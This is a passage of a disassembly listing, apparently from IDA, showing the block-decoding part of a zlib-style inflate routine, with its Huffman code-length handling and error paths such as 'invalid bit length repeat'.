mov eax, [ebp+Size]
and eax, 1Fh
cmp eax, 1Dh
ja short loc_4C56E0
mov ecx, [ebp+Size]
shr ecx, 5
and ecx, 1Fh
cmp ecx, 1Dh
jbe short loc_4C5755
loc_4C56E0: ; CODE XREF: sub_4C4F0F+7C1j
mov edx, [ebp+arg_0]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5755: ; CODE XREF: sub_4C4F0F+7CFj
mov ecx, [ebp+Size]
and ecx, 1Fh
mov edx, [ebp+Size]
shr edx, 5
and edx, 1Fh
lea eax, [ecx+edx+102h]
mov [ebp+Size], eax
push 4
mov ecx, [ebp+Size]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_4]
call dword ptr [ecx+20h]
add esp, 0Ch
mov edx, [ebp+arg_0]
mov [edx+0Ch], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], 0
jnz short loc_4C57F5
mov [ebp+arg_8], 0FFFFFFFCh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C57F5: ; CODE XREF: sub_4C4F0F+882j
mov ecx, [ebp+var_C]
shr ecx, 0Eh
mov [ebp+var_C], ecx
mov edx, [ebp+var_14]
sub edx, 0Eh
mov [ebp+var_14], edx
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 4
loc_4C581A: ; CODE XREF: sub_4C4F0F+82j
; sub_4C4F0F+A0Aj
; DATA XREF: ...
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shr eax, 0Ah
add eax, 4
mov ecx, [ebp+arg_0]
cmp [ecx+8], eax
jnb loc_4C591E
loc_4C5832: ; CODE XREF: sub_4C4F0F+9C8j
cmp [ebp+var_14], 3
jnb loc_4C58DC
cmp [ebp+var_1C], 0
jz short loc_4C584B
mov [ebp+arg_8], 0
jmp short loc_4C58A6
; ---------------------------------------------------------------------------
loc_4C584B: ; CODE XREF: sub_4C4F0F+931j
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C58A6: ; CODE XREF: sub_4C4F0F+93Aj
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+Src]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+Src]
add ecx, 1
mov [ebp+Src], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_4C5832
; ---------------------------------------------------------------------------
loc_4C58DC: ; CODE XREF: sub_4C4F0F+927j
mov eax, [ebp+var_C]
and eax, 7
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov ecx, dword_4F2E8C[edx*4]
mov edx, [ebp+arg_0]
mov edx, [edx+0Ch]
mov [edx+ecx*4], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_C]
shr eax, 3
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 3
mov [ebp+var_14], ecx
jmp loc_4C581A
; ---------------------------------------------------------------------------
loc_4C591E: ; CODE XREF: sub_4C4F0F+91Dj
; sub_4C4F0F+A41j
mov edx, [ebp+arg_0]
cmp dword ptr [edx+8], 13h
jnb short loc_4C5952
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov edx, dword_4F2E8C[ecx*4]
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov dword ptr [ecx+edx*4], 0
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
jmp short loc_4C591E
; ---------------------------------------------------------------------------
loc_4C5952: ; CODE XREF: sub_4C4F0F+A16j
mov edx, [ebp+arg_0]
mov dword ptr [edx+10h], 7
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_0]
add eax, 14h
push eax
mov ecx, [ebp+arg_0]
add ecx, 10h
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
call sub_4C7120
add esp, 14h
mov [ebp+Size], eax
cmp [ebp+Size], 0
jz loc_4C5A18
mov ecx, [ebp+Size]
mov [ebp+arg_8], ecx
cmp [ebp+arg_8], 0FFFFFFFDh
jnz short loc_4C59BD
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 9
loc_4C59BD: ; CODE XREF: sub_4C4F0F+A8Cj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5A18: ; CODE XREF: sub_4C4F0F+A7Cj
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 5
loc_4C5A2B: ; CODE XREF: sub_4C4F0F+82j
; sub_4C4F0F:loc_4C5DB9j
; DATA XREF: ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+Size], edx
mov eax, [ebp+Size]
and eax, 1Fh
mov ecx, [ebp+Size]
shr ecx, 5
and ecx, 1Fh
lea edx, [eax+ecx+102h]
mov eax, [ebp+arg_0]
cmp [eax+8], edx
jnb loc_4C5DBE
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+Size], edx
loc_4C5A5F: ; CODE XREF: sub_4C4F0F+BF5j
mov eax, [ebp+var_14]
cmp eax, [ebp+Size]
jnb loc_4C5B09
cmp [ebp+var_1C], 0
jz short loc_4C5A7A
mov [ebp+arg_8], 0
jmp short loc_4C5AD5
; ---------------------------------------------------------------------------
loc_4C5A7A: ; CODE XREF: sub_4C4F0F+B60j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5AD5: ; CODE XREF: sub_4C4F0F+B69j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+Src]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_14]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+Src]
add edx, 1
mov [ebp+Src], edx
mov eax, [ebp+var_14]
add eax, 8
mov [ebp+var_14], eax
jmp loc_4C5A5F
; ---------------------------------------------------------------------------
loc_4C5B09: ; CODE XREF: sub_4C4F0F+B56j
mov ecx, [ebp+Size]
mov edx, [ebp+var_C]
and edx, dword_4EF200[ecx*4]
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
lea edx, [ecx+edx*8]
mov [ebp+var_34], edx
mov eax, [ebp+var_34]
xor ecx, ecx
mov cl, [eax+1]
mov [ebp+Size], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov [ebp+var_30], eax
cmp [ebp+var_30], 10h
jnb short loc_4C5B76
mov edx, [ebp+var_C]
mov ecx, [ebp+Size]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+Size]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov eax, [ebp+var_30]
mov [ecx+edx*4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
jmp loc_4C5DB9
; ---------------------------------------------------------------------------
loc_4C5B76: ; CODE XREF: sub_4C4F0F+C2Bj
cmp [ebp+var_30], 12h
jnz short loc_4C5B85
mov [ebp+var_70], 7
jmp short loc_4C5B8E
; ---------------------------------------------------------------------------
loc_4C5B85: ; CODE XREF: sub_4C4F0F+C6Bj
mov ecx, [ebp+var_30]
sub ecx, 0Eh
mov [ebp+var_70], ecx
loc_4C5B8E: ; CODE XREF: sub_4C4F0F+C74j
mov edx, [ebp+var_70]
mov [ebp+var_38], edx
mov eax, [ebp+var_30]
sub eax, 12h
neg eax
sbb eax, eax
and al, 0F8h
add eax, 0Bh
mov [ebp+var_3C], eax
loc_4C5BA6: ; CODE XREF: sub_4C4F0F+D41j
mov ecx, [ebp+Size]
add ecx, [ebp+var_38]
cmp [ebp+var_14], ecx
jnb loc_4C5C55
cmp [ebp+var_1C], 0
jz short loc_4C5BC4
mov [ebp+arg_8], 0
jmp short loc_4C5C1F
; ---------------------------------------------------------------------------
loc_4C5BC4: ; CODE XREF: sub_4C4F0F+CAAj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5C1F: ; CODE XREF: sub_4C4F0F+CB3j
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+Src]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_14]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+Src]
add ecx, 1
mov [ebp+Src], ecx
mov edx, [ebp+var_14]
add edx, 8
mov [ebp+var_14], edx
jmp loc_4C5BA6
; ---------------------------------------------------------------------------
loc_4C5C55: ; CODE XREF: sub_4C4F0F+CA0j
mov eax, [ebp+var_C]
mov ecx, [ebp+Size]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, [ebp+Size]
mov [ebp+var_14], ecx
mov edx, [ebp+var_38]
mov eax, [ebp+var_C]
and eax, dword_4EF200[edx*4]
mov ecx, [ebp+var_3C]
add ecx, eax
mov [ebp+var_3C], ecx
mov edx, [ebp+var_C]
mov ecx, [ebp+var_38]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
sub eax, [ebp+var_38]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov [ebp+var_38], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+Size], ecx
mov edx, [ebp+var_38]
add edx, [ebp+var_3C]
mov eax, [ebp+Size]
and eax, 1Fh
mov ecx, [ebp+Size]
shr ecx, 5
and ecx, 1Fh
lea eax, [eax+ecx+102h]
cmp edx, eax
ja short loc_4C5CD8
cmp [ebp+var_30], 10h
jnz loc_4C5D64
cmp [ebp+var_38], 1
jnb loc_4C5D64
loc_4C5CD8: ; CODE XREF: sub_4C4F0F+DB3j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+arg_0]
mov dword ptr [eax], 9
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
mov [ebp+arg_8], 0FFFFFFFDh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5D64: ; CODE XREF: sub_4C4F0F+DB9j
; sub_4C4F0F+DC3j
cmp [ebp+var_30], 10h
jnz short loc_4C5D7C
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_38]
mov edx, [eax+ecx*4-4]
mov [ebp+var_74], edx
jmp short loc_4C5D83
; ---------------------------------------------------------------------------
loc_4C5D7C: ; CODE XREF: sub_4C4F0F+E59j
mov [ebp+var_74], 0
loc_4C5D83: ; CODE XREF: sub_4C4F0F+E6Bj
mov eax, [ebp+var_74]
mov [ebp+var_30], eax
loc_4C5D89: ; CODE XREF: sub_4C4F0F+E9Fj
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
mov eax, [ebp+var_38]
mov ecx, [ebp+var_30]
mov [edx+eax*4], ecx
mov edx, [ebp+var_38]
add edx, 1
mov [ebp+var_38], edx
mov eax, [ebp+var_3C]
sub eax, 1
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0
jnz short loc_4C5D89
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_38]
mov [ecx+8], edx
loc_4C5DB9: ; CODE XREF: sub_4C4F0F+C62j
jmp loc_4C5A2B
; ---------------------------------------------------------------------------
loc_4C5DBE: ; CODE XREF: sub_4C4F0F+B41j
mov eax, [ebp+arg_0]
mov dword ptr [eax+14h], 0
mov [ebp+var_4C], 9
mov [ebp+var_40], 6
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
mov [ebp+Size], edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
lea eax, [ebp+var_50]
push eax
lea ecx, [ebp+var_48]
push ecx
lea edx, [ebp+var_40]
push edx
lea eax, [ebp+var_4C]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+Size]
shr eax, 5
and eax, 1Fh
add eax, 1
push eax
mov ecx, [ebp+Size]
and ecx, 1Fh
add ecx, 101h
push ecx
call sub_4C7A96
add esp, 24h
mov [ebp+Size], eax
cmp [ebp+Size], 0
jz loc_4C5EB7
cmp [ebp+Size], 0FFFFFFFDh
jnz short loc_4C5E56
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 9
loc_4C5E56: ; CODE XREF: sub_4C4F0F+F25j
mov edx, [ebp+Size]
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5EB7: ; CODE XREF: sub_4C4F0F+F1Bj
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_50]
push ecx
mov edx, [ebp+var_48]
push edx
mov eax, [ebp+var_40]
push eax
mov ecx, [ebp+var_4C]
push ecx
call sub_4C6350
add esp, 14h
mov [ebp+var_44], eax
cmp [ebp+var_44], 0
jnz short loc_4C5F3E
mov [ebp+arg_8], 0FFFFFFFCh
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5F3E: ; CODE XREF: sub_4C4F0F+FCBj
mov edx, [ebp+arg_0]
mov eax, [ebp+var_44]
mov [edx+4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+arg_0]
mov dword ptr [eax], 6
loc_4C5F67: ; CODE XREF: sub_4C4F0F+82j
; DATA XREF: .text:004C627Do
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C63A5
add esp, 0Ch
mov [ebp+arg_8], eax
cmp [ebp+arg_8], 1
jz short loc_4C5FDF
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C5FDF: ; CODE XREF: sub_4C4F0F+10B5j
mov [ebp+arg_8], 0
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_4C70F9
add esp, 8
mov ecx, [ebp+arg_4]
mov edx, [ecx]
mov [ebp+Src], edx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+20h]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [ebp+var_14], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [ebp+Dst], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+Dst]
cmp eax, [edx+30h]
jnb short loc_4C6041
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+Dst]
sub edx, 1
mov [ebp+var_78], edx
jmp short loc_4C604D
; ---------------------------------------------------------------------------
loc_4C6041: ; CODE XREF: sub_4C4F0F+111Fj
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+Dst]
mov [ebp+var_78], ecx
loc_4C604D: ; CODE XREF: sub_4C4F0F+1130j
mov edx, [ebp+var_78]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+18h], 0
jnz short loc_4C606A
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
jmp loc_4C625C
; ---------------------------------------------------------------------------
loc_4C606A: ; CODE XREF: sub_4C4F0F+114Bj
mov edx, [ebp+arg_0]
mov dword ptr [edx], 7
loc_4C6073: ; CODE XREF: sub_4C4F0F+82j
; DATA XREF: .text:004C6281o
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+Dst], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
cmp edx, [ecx+30h]
jnb short loc_4C60B8
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+Dst]
sub ecx, 1
mov [ebp+var_7C], ecx
jmp short loc_4C60C4
; ---------------------------------------------------------------------------
loc_4C60B8: ; CODE XREF: sub_4C4F0F+1196j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+Dst]
mov [ebp+var_7C], eax
loc_4C60C4: ; CODE XREF: sub_4C4F0F+11A7j
mov ecx, [ebp+var_7C]
mov [ebp+var_18], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+30h]
cmp ecx, [eax+34h]
jz short loc_4C6133
mov edx, [ebp+arg_0]
mov eax, [ebp+var_C]
mov [edx+20h], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_14]
mov [ecx+1Ch], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_1C]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
sub eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
add edx, eax
mov eax, [ebp+arg_4]
mov [eax+8], edx
mov ecx, [ebp+arg_4]
mov edx, [ebp+Src]
mov [ecx], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+Dst]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C6133: ; CODE XREF: sub_4C4F0F+11C7j
mov edx, [ebp+arg_0]
mov dword ptr [edx], 8
loc_4C613C: ; CODE XREF: sub_4C4F0F+82j
; DATA XREF: .text:004C6285o
mov [ebp+arg_8], 1
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp loc_4C6261
; ---------------------------------------------------------------------------
loc_4C619E: ; CODE XREF: sub_4C4F0F+82j
; DATA XREF: .text:004C6289o
mov [ebp+arg_8], 0FFFFFFFDh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Dst]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C7C50
add esp, 0Ch
jmp short loc_4C6261
; ---------------------------------------------------------------------------
loc_4C61FD: ; CODE XREF: sub_4C4F0F+79j
mov [ebp+arg_8], 0FFFFFFFEh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+Src]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+Src]
mov [edx], eax
mov ecx, [ebp+arg_0]
